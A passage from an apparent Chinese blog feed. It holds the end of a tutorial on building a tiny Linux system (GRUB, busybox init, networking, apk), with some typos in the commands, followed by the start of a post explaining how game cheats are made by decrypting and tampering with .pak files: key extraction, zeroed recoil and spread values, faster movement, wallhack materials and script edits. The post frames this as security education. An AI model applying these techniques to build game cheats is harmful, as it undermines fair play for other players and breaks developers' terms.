</span><span>-f</span><span> </span><span>-P</span><span> </span><span>Linux.img</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>lsblk查看</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>lsblk</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>找到Linux的loop，我这边是loop0里面有loop0p1，loop0p1。</p><p>loop0p1</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>mkfs.fat</span><span> </span><span>-F32</span><span> </span><span>/dev/loop0p1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>loop0p2</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>mkfs.exit4</span><span> </span><span>/dev/loop0p2</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在工作目录创建一个mnt文件夹</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir</span><span> </span><span>mnt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>挂载loop0p1</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>mount</span><span> </span><span>/dev/loop0p1</span><span> </span><span>mnt</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>创建 EFI<a href="#创建-efi"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>grub-install</span><span> </span><span>--target=x86_64-efi</span><span> </span><span>--efi-directory=$(</span><span>realpath</span><span> </span><span>mnt</span><span>)</span><span> </span><span>--bootloader-id=GRUB</span><span> </span><span>--removable</span><span> </span><span>--recheck</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>查看mnt里面的文件，应该会有一个叫做EFI的文件夹</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>ls</span><span> </span><span>mnt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>创建一个在mnt/BOOT/grub的文件夹</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir</span><span> </span><span>-p</span><span> </span><span>mnt/boot/grub</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>复制文件</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cp</span><span> </span><span>mnt/BOOT/grub.cfg</span><span> </span><span>/mnt/boot/grub</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>查看loop0p2的id</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>blkid</span><span> </span><span>/dev/loop0p2</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>把UUID物复制下来，替换mnt/boot/grub/grub.cfg中的UUID，然后把修改后的文件直接复制替换到mnt/EFI/BOOT/grub.cfg</p><p>回到mnt的上一层，解除挂载。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>umount</span><span> </span><span>mnt</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>给系统搞个根目录<a href="#给系统搞个根目录"><span>#</span></a></h4><p>先挂载 loop0p2</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>mount</span><span> </span><span>/dev/loop0p2</span><span> </span><span>mnt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>复制内核文件到mnt</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>cp</span><span> </span><span>linux-6.16.4/arch/x86/boot/bzImage</span><span> </span><span>mnt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>把busybox编译出来的二进制文件移到对应目录</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>cp</span><span> </span><span>-r</span><span> </span><span>busybox/</span><span>*</span><span> </span><span>mnt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>cd到mnt</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>mnt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>创建boot文件夹</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir</span><span> </span><span>boot</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>创建其他需要的目录(有些文件创建来就是空着的，方便后期不用创建，比如说包管理器就要用etc文件夹</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir</span><span> </span><span>proc</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>mkdir</span><span> </span><span>sys</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>mkdir</span><span> </span><span>etc</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>把bzImage文件移动到boot文件夹</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>mv</span><span> </span><span>bzImage</span><span> </span><span>boot/</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>跳转boot目录，ls检查一下</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>boot</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>ls</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果没有问题就能看到bzImage文件</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>bzImage</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>创建grub文件夹</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir</span><span> </span><span>grub</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>cd到grub</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>grub</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>创建一个文件叫grub.cfg</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>vim</span><span> </span><span>grub.cfg</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>里面的内容按这个填</p><div><figure><figcaption><span>grub.cfg</span></figcaption><pre><code><div><div><div>1</div></div><div><span>menuentry</span><span> </span><span>"Unics_MCKero"</span><span> </span><span>{</span></div></div><div><div><div>2</div></div><div><span>    </span><span>insmod</span><span> </span><span>part_gpt</span></div></div><div><div><div>3</div></div><div><span>    </span><span>insmod</span><span> </span><span>fat</span></div></div><div><div><div>4</div></div><div><span>    </span><span>insmod</span><span> </span><span>ext2</span></div></div><div><div><div>5</div></div><div><span>    </span><span>insmod</span><span> </span><span>normal</span></div></div><div><div><div>6</div></div><div><span>    </span><span>search</span><span> </span><span>--no-floppy</span><span> </span><span>--fs-uuid</span><span> </span><span>--set=root</span><span> </span><span>a1fa9865-69c0-4997-8936-4ed1dd4d6452</span></div></div><div><div><div>7</div></div><div><span>    </span><span>linux</span><span> </span><span>/boot/bzImage</span><span> </span><span>root=PARTUUID=62052f8c-686c-4656-8461-bb3e0790d62a</span><span> </span><span>rw</span><span> </span><span>init=/boot/init</span><span> </span><span>rootdelay=</span><span>3</span><span> </span><span>console=ttyS0</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>Unics_MCKero这个是你的引导程序的名字可以修改(尽量使用英文，我不知道用特殊字符或者中文会不会不兼容)</p><p>执行这个查看loop0p2的UUID</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>blkid</span><span> </span><span>/dev/loop0p2</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>mnt/boot/grub.cfg里面的set=root 这个后面填写loop0p2的UUID</p><p>PARTUUID这里填写blkid /dev/loop0p2输出的PARTUUID，然后保存</p><p>跳转到mnt的boot目录(因为我在mnt的boot/grub目录所以说我就直接使用直接返回上一层）</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>..</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>创建一个名为init的文件</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>vim</span><span> </span><span>init</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>内容就写这个</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/bin/sh</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>mount</span><span> </span><span>-t</span><span> </span><span>sysfs</span><span> </span><span>none</span><span> </span><span>/sys</span></div></div><div><div><div>4</div></div><div><span>mount</span><span> </span><span>-t</span><span> </span><span>proc</span><span> </span><span>none</span><span> </span><span>/proc</span></div></div><div><div><div>5</div></div><div><span>mount</span><span> </span><span>-t</span><span> </span><span>devtmpfs</span><span> </span><span>devtmpfs</span><span> </span><span>/dev</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>exec</span><span> </span><span>/bin/sh</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>给init执行权限(一定要给,如果没给系统运行不了)</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>chmod</span><span> </span><span>+x</span><span> </span><span>init</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>网络<a href="#网络"><span>#</span></a></h4><p>现在我们这个Linux发行版已经差不多完工了，现在我们需要让这个系统可以连接网络。</p><p>先到这个项目的仓库<a href="https://github.com/ifupdown-ng/ifupdown-ng" target="_blank">ifupdown-ng的github仓库</a>这是一个用c语言编写的项目，比较轻量，它可以用来管理网络设备。</p><p>我们先把他的仓库克隆下来</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>git</span><span> </span><span>clone</span><span>  </span><span>https://github.com/ifupdown-ng/ifupdown-ng.git</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>跳转进仓库</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>ifupdown-ng</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>因为我们的小系统没有依赖库，所以说我们需要静态编译这个程序。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>LDFLAGS</span><span>=</span><span>"-static"</span><span> </span><span>make</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>把编译出来的文件复制到mnt/bin里面</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cp</span><span> </span><span>./ifupdown-ng/if</span><span>*</span><span> </span><span>mnt/bin</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>记得给这些文件执行的权限</p><p>在mnt文件夹中创建一个叫etc的文件夹再往里面创建一个叫做network的文件夹。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>mkdir</span><span> </span><span>-p</span><span> </span><span>mnt/etc/network</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在mnt/etc/network中创建一个文件，名字叫interfaces</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>vim</span><span> </span><span>mnt/etc/network/interfaces</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>里面的内容填这个</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>auto</span><span> </span><span>lo</span></div></div><div><div><div>2</div></div><div><span>iface</span><span> </span><span>lo</span><span> </span><span>inet</span><span> </span><span>loopback</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>auto</span><span> </span><span>eth0</span></div></div><div><div><div>5</div></div><div><span>iface</span><span> </span><span>eth0</span><span> </span><span>inet</span><span> </span><span>dhcp</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>创建一个文件夹在mnt/etc/usr/share/名称叫udhcpc</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir</span><span> </span><span>-p</span><span> </span><span>mnt/etc/usr/share/udhcpc</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在udhcpc文件夹中创建一个文件叫default.script</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>vim</span><span> </span><span>mnt/etc/usr/share/udhcpc/default.script</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>里面填写这个</p><div><figure><figcaption><span>default.script</span></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/bin/sh</span></div></div><div><div><div>2</div></div><div><span><span>[ </span><span>-n</span><span> </span></span><span>"</span><span>$ip</span><span>"</span><span> ] &amp;&amp; </span><span>ip</span><span> </span><span>addr</span><span> </span><span>add</span><span> </span><span>$ip</span><span>/</span><span>$subnet</span><span> </span><span>dev</span><span> </span><span>$interface</span></div></div><div><div><div>3</div></div><div><span><span>[ </span><span>-n</span><span> </span></span><span>"</span><span>$router</span><span>"</span><span> ] &amp;&amp; </span><span>ip</span><span> </span><span>route</span><span> </span><span>add</span><span> </span><span>default</span><span> </span><span>via</span><span> </span><span>$router</span></div></div><div><div><div>4</div></div><div><span><span>[ </span><span>-n</span><span> </span></span><span>"</span><span>$dns</span><span>"</span><span> ] &amp;&amp; </span><span>echo</span><span> </span><span>"nameserver </span><span>$dns</span><span>"</span><span> &gt; </span><span>/etc/resolv.conf</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>记得保存</p><p>给default.script可执行权限</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>chmod</span><span> </span><span>+x</span><span> </span><span>default.script</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>到时候在虚拟机或者实体机直接输入</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>ifup</span><span> </span><span>lo</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>ifup</span><span> </span><span>eth0</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>验证是不是得到了IP地址</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>ip</span><span> </span><span>a</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果eth0有ip那就是配置好了，可以ping baidu.com试一试。</p><p>现在网络就配置好了，系统可以联网了。</p></section><section><h4>安装软件包管理器<a href="#安装软件包管理器"><span>#</span></a></h4><p>软件包管理器（Package Manager）是一种自动化工具，用于管理软件包及其依赖关系。它可以简化软件的安装、更新、卸载和配置过程。</p><p>软件包管理器有很多种，这里选择apk这个软件包管理器，因为它比轻量，而且在仓库里也有已经编译好的二进制文件。</p><p>访问<a href="https://gitlab.alpinelinux.org/alpine/apk-tools" target="_blank">apk-tools的仓库</a>找到release在Other下方有很多apk.static括号里面跟着指令集版本，比如，x86，x86_64和其他的，选择自己内核的指令集（我的是x86）所以说我选apk.static(x86)。</p><p>把apk.static下载下来</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>wget</span><span> </span><span>https://gitlab.alpinelinux.org/api/v4/projects/5/packages/generic//v2.14.10/x86/apk.static</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>跳转到mnt</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>mnt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>创建以下目录（一个一个执行）</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir</span><span> </span><span>-p</span><span> </span><span>/etc/apk/keys</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>mkdir</span><span> </span><span>-p</span><span> </span><span>/var/lib/apk</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>mkdir</span><span> </span><span>-p</span><span> </span><span>/var/cache/apk</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>mkdir</span><span> </span><span>-p</span><span> </span><span>/var/lock</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>把apk.static命名为apk，然后移动到mnt/bin  给apk可执行权限。</p><p>在/etc/apk创建一个repositories文件</p><div><figure><figcaption><span>repositories</span></figcaption><pre><code><div><div><div>1</div></div><div><span>vim</span><span> </span><span>/etc/apk/repositories</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>里面填写这两个网址</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>http://dl-cdn.alpinelinux.org/alpine/latest-stable/main</span></div></div><div><div><div>2</div></div><div><span>http://dl-cdn.alpinelinux.org/alpine/latest-stable/community</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>下载key文件</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>git</span><span> </span><span>clone</span><span> </span><span>https://gitlab.alpinelinux.org/alpine/aports</span><span> </span><span>--depth</span><span> </span><span>1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>跳转到aports</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>aports/main/alpine-keys</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>把这些.rsa.pub文件全复制到mnt/etc/apk/keys</p></section><section><h4>结尾<a href="#结尾"><span>#</span></a></h4><p>花了一整天写这个文章，虽然没有什么图片，但是结合其他资料也是可以用的，感谢B站UP主于小乐_Unics</p></section></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/game-pak/</id>
      <title type="text">深度剖析：基于.pak文件的游戏作弊原理与实现</title>
      <published>2025-09-03T00:00:00.000Z</published>
      <updated>2025-09-03T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/game-pak/"/>
      <summary type="text">本文从逆向分析视角，详细揭示了游戏作弊者如何通过解密、篡改.pak资源包中的核心数据、视觉资源及游戏逻辑，并利用静态补丁或动态注入技术绕过反作弊系统，实现无后坐力、透视、加速等作弊功能的完整技术链条。旨在探讨游戏安全攻防的复杂性。</summary>
      <content type="html"><![CDATA[<section><h3><strong>虚拟世界的后门：深度剖析基于.pak文件的作弊原理与实现</strong><a href="#虚拟世界的后门深度剖析基于pak文件的作弊原理与实现"><span>#</span></a></h3></section>
<section><h1>Disclaimer and Important Warning<a href="#disclaimer-and-important-warning"><span>#</span></a></h1><p>This article aims to provide an in-depth analysis of the internal workings of modified game clients purely from the perspective of technical research and cybersecurity education. All content in this article is intended solely for learning, discussion, and revealing potential risks, with the goal of enhancing readers’ security awareness and understanding of underlying game technologies.The author strongly condemns and firmly opposes any form of game cheating. Creating, distributing, or using game cheats not only severely undermines the fairness of the gaming environment but also greatly harms both one’s own and others’ gaming experience. Additionally, installing modified applications from unknown sources poses significant security risks to your personal devices, including but not limited to account theft, personal privacy leaks, malware infections, and financial loss.Please adhere to the user agreements of game developers and maintain a healthy and fair gaming environment. Under no circumstances should the technical methods described in this article be used for illegal or destructive purposes. Any subsequent actions and consequences resulting from reading this article are the sole responsibility of the individual involved and have no relation to the author of this article.</p></section>
<section><h1>免责声明与重要警告<a href="#免责声明与重要警告"><span>#</span></a></h1><p>本文旨在从纯粹的技术研究与网络安全教育角度，深入剖析游戏修改版客户端的内部工作原理。本文的一切内容仅用于学习、交流和揭示其潜在风险，目的在于提升读者的安全意识和对游戏底层技术的理解。</p><p>笔者强烈谴责并坚决反对任何形式的游戏作弊行为。制作、传播或使用游戏外挂不仅严重破坏了游戏的公平竞技环境，更是对自己和他人的游戏体验的极大伤害。此外，安装来源不明的修改版应用程序会给您的个人设备带来极高的安全风险，包括但不限于账号被盗、个人隐私泄露、设备感染恶意软件、财产损失等。</p><p>请遵守游戏开发商的用户协议，维护绿色健康的游戏环境。切勿尝试文中所述的任何技术手段用于非法或破坏性目的。因阅读本文而产生的一切后续行为及后果，由行为人自行承担，与本文作者无关。</p><section><h4><strong>引言</strong><a href="#引言"><span>#</span></a></h4><p>在网络游戏的攻防战场上，对客户端资源的篡改是最古老、最直接的攻击手段之一。<code>.pak</code>资源包，作为现代游戏引擎封装海量数据的基础设施，其设计的初衷是为了性能与管理，但其封装的特性也使其成为了一个极具诱惑力的攻击目标。本文将不再泛泛而谈，而是直接深入技术细节，详细阐述攻击者是如何一步步突破防线，利用<code>.pak</code>文件实现各种作弊功能的。</p><hr /></section><section><h4><strong>第一章：侦察与突破——攻击的前期准备</strong><a href="#第一章侦察与突破攻击的前期准备"><span>#</span></a></h4><p>在任何成功的攻击之前，都有一段漫长而细致的侦察准备阶段。对于<code>.pak</code>文件的修改，同样如此。</p><p><strong>1.1 工具链的构建</strong></p><p>攻击者首先需要一套能处理目标<code>.pak</code>文件的工具。这通常包括：</p><ul>
<li><strong>解包/打包器（Unpacker/Repacker）：</strong> 这是整个流程的基石。如果游戏使用的是标准引擎（如Unreal Engine），其官方SDK中通常会包含一个命令行工具（如<code>UnrealPak.exe</code>）。攻击者会首先尝试使用官方工具。如果开发者对<code>.pak</code>格式进行了修改（结构混淆），攻击者则需要通过逆向工程游戏的可执行文件，分析其文件I/O函数，自己编写或寻找社区开发的专用解包工具。</li>
<li><strong>十六进制编辑器（Hex Editor）：</strong> 如 <code>010 Editor</code>, <code>HxD</code>。用于分析和修改二进制文件，寻找加密密钥、修改文件头或进行小范围的二进制补丁。</li>
<li><strong>文本编辑器/IDE：</strong> 如 <code>VS Code</code>, <code>Notepad++</code>。用于编辑解包出来的明文配置文件（<code>.ini</code>, <code>.xml</code>等）。</li>
<li><strong>专用资源查看/编辑器：</strong> 针对特定引擎的资源格式，如用于查看和编辑<code>.uasset</code>文件的工具，允许攻击者修改模型、贴图和蓝图脚本。</li>
</ul><p><strong>1.2 突破第一道防线：解密</strong></p><p>现代游戏很少会使用未经加密的<code>.pak</code>文件。因此，攻击者的第一个挑战就是找到解密密钥。</p><ul>
<li><strong>索引加密定位：</strong> 一种常见的、兼顾性能与安全的策略是“索引加密”。开发者只对记录着文件目录的“索引块”进行加密，而数据块本身不加密或使用简单的异或加密。攻击者会重点逆向分析游戏启动时读取<code>.pak</code>文件的代码段。通过调试器（如<code>x64dbg</code>）在文件读取函数（如<code>ReadFile</code>, <code>fread</code>）上下断点，他们可以跟踪到程序在读取索引后、解析索引前的那一刻，内存中必然存在解密后的明文索引。向上追溯调用栈，就能找到执行解密的函数，并从中提取出加密算法和密钥。</li>
<li><strong>密钥的藏身之处：</strong>
<ul>
<li><strong>硬编码：</strong> 最简单的方式是将密钥作为一个字符串或字节数组硬编码在游戏的可执行文件（<code>.exe</code>, <code>.so</code>）中。攻击者可以通过搜索工具在文件中搜索可疑的、具有高信息熵的常量字符串来定位。</li>
<li><strong>动态生成：</strong> 为了对抗静态分析，密钥可能在运行时由一系列算法动态生成，可能与设备ID、时间戳等变量有关。这就需要攻击者通过动态调试，一步步跟踪算法流程，理解其逻辑后，编写一个“注册机”或直接从内存中转储（dump）出最终生成的密钥。</li>
</ul>
</li>
</ul><p>一旦密钥到手，解包过程便畅通无阻。攻击者可以编写脚本，调用解密函数，将加密的<code>.pak</code>文件解密成标准格式，然后再进行解包。</p><hr /></section><section><h4><strong>第二章：核心篡改技术——从参数到视觉的全面控制</strong><a href="#第二章核心篡改技术从参数到视觉的全面控制"><span>#</span></a></h4><p>解包后，游戏的所有资源便如同一座不设防的宝库，展现在攻击者面前。他们的修改手法主要分为以下几类，由易到难：</p><p><strong>2.1 参数级篡改（最简单、最常见）</strong></p><p>这是最受欢迎的作弊方式，因为它通常只需要修改文本文件，技术门槛极低。</p><ul>
<li><strong>目标文件：</strong> <code>Game.ini</code>, <code>Settings.xml</code>, <code>CharacterData.json</code> 等配置文件。</li>
<li><strong>手法与实例：</strong>
<ul>
<li><strong>无后坐力/无散射：</strong> 攻击者会搜索包含武器ID或名称的配置文件。在其中找到类似如下的参数块：</li>
</ul>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>[Weapon_Rifle_AK_Stats]</span></div></div><div><div><div>2</div></div><div><span>VerticalRecoil</span><span><span>=</span><span>0.75</span></span></div></div><div><div><div>3</div></div><div><span>HorizontalRecoil</span><span><span>=</span><span>0.45</span></span></div></div><div><div><div>4</div></div><div><span>BaseSpread</span><span><span>=</span><span>1.2</span></span></div></div><div><div><div>5</div></div><div><span>AimingSpread</span><span><span>=</span><span>0.3</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div>
攻击者会将所有这些值修改为<code>0.0</code>。当游戏引擎加载这些数据时，它读取到的就是零后坐力和零散射，武器射击时弹道将变成一条完美的直线。
<ul>
<li><strong>移动速度修改（Speed Hack）：</strong> 在角色配置文件中找到类似参数：</li>
</ul>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span></div></div><div><div><div>2</div></div><div><span>  </span><span>"CharacterMovement"</span><span>: {</span></div></div><div><div><div>3</div></div><div><span>    </span><span>"MaxWalkSpeed"</span><span>: </span><span>350</span><span>,</span></div></div><div><div><div>4</div></div><div><span>    </span><span>"JumpVelocity"</span><span>: </span><span>200</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
将<code>MaxWalkSpeed</code>的值翻倍，即可实现游戏中的高速移动。
<ul>
<li><strong>移除游戏元素：</strong> 某些游戏效果，如开火时的烟雾、被击中时的屏幕晃动，也可能由参数控制。找到 <code>MuzzleFlashScale=1.0</code> 或 <code>CameraShakeIntensity=1.0</code> 并将其设为<code>0.0</code>，可以创造一个更“干净”的视觉环境。</li>
</ul>
</li>
</ul><p><strong>2.2 资源替换级篡改（视觉作弊）</strong></p><p>这类作弊通过替换或修改视觉资源（模型、贴图、材质）来实现“透视”等功能。</p><ul>
<li><strong>目标文件：</strong> 纹理文件（<code>.tga</code>, <code>.png</code>, <code>.dds</code>），材质文件（<code>.uasset</code>等），模型文件。</li>
<li><strong>手法与实例：</strong>
<ul>
<li><strong>“透视”墙体（Wallhack）：</strong> 定位到游戏中主要墙体、岩石等障碍物所使用的材质文件。攻击者会使用专门的编辑器打开它，将其着色器（Shader）模式从“不透明（Opaque）”修改为“半透明（Translucent）”，并将其基础颜色的Alpha通道值调低（例如50%）。重新打包后，游戏中的墙体就会变成半透明的玻璃状，墙后的人和物清晰可见。</li>
<li><strong>人物“上色”（Chams - Colored Models）：</strong> 这是Wallhack的进阶版。攻击者会修改应用在敌方角色模型上的材质。他们会禁用该材质的光照计算（设置为Unlit），并强制其渲染为一种单一、明亮的颜色（如鲜红色或亮绿色）。更进一步，他们会禁用材质的“深度测试（Depth Test）”，这意味着即使角色被障碍物遮挡，其模型也会被渲染在屏幕的最顶层。最终效果就是，无论敌人在哪里，都会显示为一个高亮的人形色块，穿透所有掩体。</li>
<li><strong>环境简化（移除草地/烟雾）：</strong> 定位到草地、灌木的模型文件或烟雾效果的粒子贴图。攻击者会用一个极小的、1x1像素的完全透明贴图去替换原文件。这样，当游戏引擎去渲染草地或烟雾时，实际上渲染出来的是一堆看不见的透明面片，从而达到移除它们、净化视野的目的。</li>
</ul>
</li>
</ul><p><strong>2.3 逻辑级篡改（高阶作弊）</strong></p><p>这是技术难度最高的篡改，它直接修改游戏的行为逻辑。</p><ul>
<li><strong>目标文件：</strong> 游戏脚本文件（<code>.lua</code>等），或内嵌了可视化脚本（如Unreal蓝图）的资源文件（<code>.uasset</code>）。</li>
<li><strong>手法与实例：</strong>
<ul>
<li><strong>修改脚本逻辑：</strong> 假设一个脚本文件 <code>WeaponManager.lua</code> 中有如下函数：</li>
</ul>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>Weapon</span><span>:</span><span>OnFire</span><span>()</span></div></div><div><div><div>2</div></div><div><span>    </span><span>-- 减少弹药</span></div></div><div><div><div>3</div></div><div><span>    </span><span>self</span><span>.ammo = </span><span>self</span><span>.ammo - </span><span>1</span></div></div><div><div><div>4</div></div><div><span>    </span><span>-- 产生后坐力</span></div></div><div><div><div>5</div></div><div><span>    </span><span>self</span><span>:</span><span>ApplyRecoil</span><span>()</span></div></div><div><div><div>6</div></div><div><span>end</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
攻击者可以直接将 <code>self:ApplyRecoil()</code> 这一行注释掉或删除，这就从逻辑层面根除了后坐力，比修改参数更为底层和彻底。
<ul>
